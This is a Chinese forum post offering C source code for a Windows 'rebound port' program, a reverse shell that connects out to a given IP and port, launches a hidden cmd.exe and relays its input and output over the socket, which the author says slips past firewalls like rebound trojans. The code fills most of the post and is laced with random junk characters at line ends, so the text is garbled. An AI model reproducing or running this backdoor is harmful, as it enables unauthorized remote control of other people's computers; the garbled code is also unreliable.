社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4992阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )NZ&m$I|-  
PV=sqLM~  
/* ============================== &n83>Q  
Rebound port in Windows NT RCK*?\m5  
By wind,2006/7 }y+a )2  
===============================*/ .S=|ZP+  
#include w+!V,lU"^  
#include :l Z\=2D  
"av/a   
#pragma comment(lib,"wsock32.lib") z1tCSt}7f  
f1o^:}5x  
void OutputShell(); SjJ$Oinc  
SOCKET sClient; *(i%\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _x!/40^G  
}I`o%GL  
void main(int argc,char **argv) l 8GAZ*+  
{ KiC,O7&<  
WSADATA stWsaData; c1*^ \   
int nRet; "8(8]GgYx  
SOCKADDR_IN stSaiClient,stSaiServer; !>K=@9NC|.  
Dp} $q`F[  
if(argc != 3) 33hP/p%  
{ m#6p=E  
printf("Useage:\n\rRebound DestIP DestPort\n"); qla=LS\-A+  
return; b1=! "Y@  
} +8|Xj!!*}  
!l .^]|  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,~l4-x.,  
l}g_<  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xo.3OER  
}J\7IsM&  
stSaiClient.sin_family = AF_INET; C^U>{jf !  
stSaiClient.sin_port = htons(0); gMZrtK`<  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >k/ rJ[Sc  
= 4'r+2[  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5Go@1X]I  
{ wb]Z4/j#  
printf("Bind Socket Failed!\n"); -&v0JvTJ9j  
return; 6Ol)SQE,  
} ?$/W3Xn0%  
{K/xI  
stSaiServer.sin_family = AF_INET; EWVn*xl?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); iE{VmHp=  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /B{c L`<  
('=Q[ua7-(  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |oR{c%z05  
{ brF) %x`  
printf("Connect Error!"); O#vIn}  
return; 0? KvR``Aj  
} "Q tkNy%E  
OutputShell(); `<R^ZL,  
} -b  )~  
}72+i  
void OutputShell() YB]^Y^"e  
{ {qSYe!`  
char szBuff[1024]; H3ob 8+J  
SECURITY_ATTRIBUTES stSecurityAttributes; j(_6.zf  
OSVERSIONINFO stOsversionInfo; 8}Maj  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JVPLE*T  
STARTUPINFO stStartupInfo; OF! n}.O(  
char *szShell; :%zAX  
PROCESS_INFORMATION stProcessInformation; $f6wmI;<y  
unsigned long lBytesRead;  ~}K$z  
86Xf6Ea  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); T(+*y  
_C$SaQty[Q  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 79'N/:.  
stSecurityAttributes.lpSecurityDescriptor = 0; {E1^Wn1M  
stSecurityAttributes.bInheritHandle = TRUE; dJ{'b '#  
_ukBp*u  
~c>]kL(,  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >T29kgF2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ITU6Eq  
>?$qKu  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {=y~O  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M_;hfpJZ  
stStartupInfo.wShowWindow = SW_HIDE; N#X(gEV  
stStartupInfo.hStdInput = hReadPipe; 95tHi re  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ::Di  
P"+K'B7K3  
GetVersionEx(&stOsversionInfo); QUc&f+~  
l9NET  
switch(stOsversionInfo.dwPlatformId) ^JB5-EtL(  
{ @c%h fI  
case 1: TaTw,K|/  
szShell = "command.com"; O-<nL B!Wf  
break; =l}XKl->  
default: DDU)G51>d  
szShell = "cmd.exe"; FWpb5jc)3  
break; 6 &MATMR  
} W -5wjc  
X]Ma:1+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ItQ3|-^  
? y^t  
send(sClient,szMsg,77,0); G5zsId dS  
while(1) p+{*&Hm5  
{ hKQg:30<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m<:g\_<  
if(lBytesRead) J|WkPv2  
{ ~5_>$7L>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }& e#b]&:*  
send(sClient,szBuff,lBytesRead,0); Sh o] ~)XX  
} t1]sv VX,w  
else ?Ns aZ  
{ PZCOJK  
lBytesRead=recv(sClient,szBuff,1024,0); T_4y;mf!@O  
if(lBytesRead<=0) break; )Yw m_f-N  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .RWKZB  
} ! d" i  
} :*E#w"$,j  
!K_ ke h  
return; 7|pF (sb0  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五